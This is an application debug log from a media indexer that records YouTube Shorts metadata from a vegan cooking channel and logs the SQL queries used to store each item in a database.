20:27:11.889 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We taste test 4 of the best vegan sausages to determine which one is the best and biggest sausage. If you're interested in this vegan sausage taste test then you'll want to check out the full review video here: https://youtu.be/eEFBoMW49U0\n\nDon't forget to subscribe if you enjoy vegan and gluten free food recipes or taste test videos! Thanks for your support!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-25 This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts/This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts [A9GVw9gxyIk].NA", "id" => "A9GVw9gxyIk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/A9GVw9gxyIk", "playlist_index" => 237, "timestamp" => 1664140200, "title" => "This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts", "upload_date" => "20220925"} 20:27:11.890 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:11.891 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:11.893 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-25 21:10:00Z], 1] 20:27:11.894 [debug] QUERY OK source="media_items" db=1.0ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test 4 of the best vegan sausages to determine which one is the best and biggest sausage. If you're interested in this vegan sausage taste test then you'll want to check out the full review video here: https://youtu.be/eEFBoMW49U0\n\nDon't forget to subscribe if you enjoy vegan and gluten free food recipes or taste test videos! Thanks for your support!", "This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts", "2e109a2e-a436-43a4-a306-bb271168678e", 1, [], 15, false, "A9GVw9gxyIk", "https://www.youtube.com/shorts/A9GVw9gxyIk", 237, "/downloads/downloads/alec/Steamy Vegan/2022-09-25 This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts/This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts [A9GVw9gxyIk].NA", false, false, true, 0, ~U[2022-09-25 21:10:00Z], ~U[2026-03-22 03:27:11Z], ~U[2026-03-22 03:27:11Z], "We taste test 4 of the best vegan sausages to determine which one is the best and biggest sausage. If you're interested in this vegan sausage taste test then you'll want to check out the full review video here: https://youtu.be/eEFBoMW49U0\n\nDon't forget to subscribe if you enjoy vegan and gluten free food recipes or taste test videos! Thanks for your support!", "This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts", 1, 15, false, "A9GVw9gxyIk", "https://www.youtube.com/shorts/A9GVw9gxyIk", "/downloads/downloads/alec/Steamy Vegan/2022-09-25 This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts/This one's a stiffy 😱 🌭 😂 Vegan Sausage Taste Test and Review #shorts #youtubeshorts [A9GVw9gxyIk].NA", true, ~U[2022-09-25 21:10:00Z]] 20:27:11.895 [debug] QUERY OK source="sources" db=0.5ms idle=738.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:11.896 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:11.897 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [626] 20:27:11.897 [debug] Current batch of media processed. Will check again in 1000ms 20:27:12.898 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We taste test 4 of the best vegan sausages in this ultimate vegan sausage taste test video. Check out the full video here: https://youtu.be/eEFBoMW49U0", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-25 You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts/You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts [XL5cuC03zF8].NA", "id" => "XL5cuC03zF8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XL5cuC03zF8", "playlist_index" => 238, "timestamp" => 1664129460, "title" => "You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts", "upload_date" => "20220925"} 20:27:12.899 [debug] QUERY OK source="sources" db=0.5ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:12.900 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:12.903 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-25 18:11:00Z], 1] 20:27:12.904 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test 4 of the best vegan sausages in this ultimate vegan sausage taste test video. Check out the full video here: https://youtu.be/eEFBoMW49U0", "You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts", "cb145aad-f659-4bd2-afed-5e7fe2e82475", 1, [], 15, false, "XL5cuC03zF8", "https://www.youtube.com/shorts/XL5cuC03zF8", 238, "/downloads/downloads/alec/Steamy Vegan/2022-09-25 You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts/You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts [XL5cuC03zF8].NA", false, false, true, 1, ~U[2022-09-25 18:11:00Z], ~U[2026-03-22 03:27:12Z], ~U[2026-03-22 03:27:12Z], "We taste test 4 of the best vegan sausages in this ultimate vegan sausage taste test video. Check out the full video here: https://youtu.be/eEFBoMW49U0", "You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts", 1, 15, false, "XL5cuC03zF8", "https://www.youtube.com/shorts/XL5cuC03zF8", "/downloads/downloads/alec/Steamy Vegan/2022-09-25 You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts/You ain’t nothin’ but a hot dog, fryin’ all the time! 🌭 Vegan Sausage Taste Test #shorts [XL5cuC03zF8].NA", true, ~U[2022-09-25 18:11:00Z]] 20:27:12.905 [debug] QUERY OK source="sources" db=0.5ms idle=746.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:12.906 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:12.907 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [627] 20:27:12.907 [debug] Current batch of media processed. Will check again in 1000ms 20:27:13.908 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out our full Stranger Things taste test video here: https://youtu.be/MSUT1TA9hQ4\n\nWe ventured into the upside down to figure out what you'd eat while down there. Things get weird and wacky in this 16 minute Stranger Things taste test video. \n\nSubscribe and stay tuned for our weekly Saturday morning show and weekly vegan and gluten free recipe videos on the channel. Thanks for your support!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-21 Stranger Things Taste Test 👽👾#shorts #youtubeshorts/Stranger Things Taste Test 👽👾#shorts #youtubeshorts [4Ubh-MZ_mgA].NA", "id" => "4Ubh-MZ_mgA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/4Ubh-MZ_mgA", "playlist_index" => 239, "timestamp" => 1663777801, "title" => "Stranger Things Taste Test 👽👾#shorts #youtubeshorts", "upload_date" => "20220921"} 20:27:13.909 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:13.910 [debug] QUERY OK source="sources" db=0.5ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:13.912 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-21 16:30:01Z], 1] 20:27:13.914 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full Stranger Things taste test video here: https://youtu.be/MSUT1TA9hQ4\n\nWe ventured into the upside down to figure out what you'd eat while down there. Things get weird and wacky in this 16 minute Stranger Things taste test video. \n\nSubscribe and stay tuned for our weekly Saturday morning show and weekly vegan and gluten free recipe videos on the channel. Thanks for your support!", "Stranger Things Taste Test 👽👾#shorts #youtubeshorts", "c2789d44-afe0-4d98-b47c-096df8dbe038", 1, [], 15, false, "4Ubh-MZ_mgA", "https://www.youtube.com/shorts/4Ubh-MZ_mgA", 239, "/downloads/downloads/alec/Steamy Vegan/2022-09-21 Stranger Things Taste Test 👽👾#shorts #youtubeshorts/Stranger Things Taste Test 👽👾#shorts #youtubeshorts [4Ubh-MZ_mgA].NA", false, false, true, 0, ~U[2022-09-21 16:30:01Z], ~U[2026-03-22 03:27:13Z], ~U[2026-03-22 03:27:13Z], "Check out our full Stranger Things taste test video here: https://youtu.be/MSUT1TA9hQ4\n\nWe ventured into the upside down to figure out what you'd eat while down there. Things get weird and wacky in this 16 minute Stranger Things taste test video. \n\nSubscribe and stay tuned for our weekly Saturday morning show and weekly vegan and gluten free recipe videos on the channel. Thanks for your support!", "Stranger Things Taste Test 👽👾#shorts #youtubeshorts", 1, 15, false, "4Ubh-MZ_mgA", "https://www.youtube.com/shorts/4Ubh-MZ_mgA", "/downloads/downloads/alec/Steamy Vegan/2022-09-21 Stranger Things Taste Test 👽👾#shorts #youtubeshorts/Stranger Things Taste Test 👽👾#shorts #youtubeshorts [4Ubh-MZ_mgA].NA", true, ~U[2022-09-21 16:30:01Z]] 20:27:13.915 [debug] QUERY OK source="sources" db=0.4ms idle=753.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:13.915 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:13.916 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [628] 20:27:13.916 [debug] Current batch of media processed. Will check again in 1000ms 20:27:14.917 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-20 How to keep produce fresher for longer! 😲 No more floppy celery/How to keep produce fresher for longer! 😲 No more floppy celery [7aev2rOGj0U].NA", "id" => "7aev2rOGj0U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/7aev2rOGj0U", "playlist_index" => 240, "timestamp" => 1663687391, "title" => "How to keep produce fresher for longer! 😲 No more floppy celery", "upload_date" => "20220920"} 20:27:14.918 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:14.919 [debug] QUERY OK source="sources" db=0.2ms queue=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:14.921 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-20 15:23:11Z], 1] 20:27:14.923 [debug] QUERY OK source="media_items" db=1.2ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to keep produce fresher for longer! 😲 No more floppy celery", "3a334d91-c576-4b84-aad6-86e1b9e0eff2", 1, [], 27, false, "7aev2rOGj0U", "https://www.youtube.com/shorts/7aev2rOGj0U", 240, "/downloads/downloads/alec/Steamy Vegan/2022-09-20 How to keep produce fresher for longer! 😲 No more floppy celery/How to keep produce fresher for longer! 😲 No more floppy celery [7aev2rOGj0U].NA", false, false, true, 0, ~U[2022-09-20 15:23:11Z], ~U[2026-03-22 03:27:14Z], ~U[2026-03-22 03:27:14Z], "", "How to keep produce fresher for longer! 😲 No more floppy celery", 1, 27, false, "7aev2rOGj0U", "https://www.youtube.com/shorts/7aev2rOGj0U", "/downloads/downloads/alec/Steamy Vegan/2022-09-20 How to keep produce fresher for longer! 😲 No more floppy celery/How to keep produce fresher for longer! 😲 No more floppy celery [7aev2rOGj0U].NA", true, ~U[2022-09-20 15:23:11Z]] 20:27:14.924 [debug] QUERY OK source="sources" db=0.4ms idle=760.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:14.924 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:14.925 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [629] 20:27:14.925 [debug] Current batch of media processed. Will check again in 1000ms 20:27:15.541 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:15.926 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In our latest morning show episode we ventured down into the Stranger Things upside down to see what kind of weird food you'd eat down there. Check out the full Stranger Things themed taste test video here: https://youtu.be/MSUT1TA9hQ4", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-17 The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts/The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts [L3iyG5vKrw4].NA", "id" => "L3iyG5vKrw4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/L3iyG5vKrw4", "playlist_index" => 241, "timestamp" => 1663434022, "title" => "The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts", "upload_date" => "20220917"} 20:27:15.927 [debug] QUERY OK source="sources" db=0.4ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 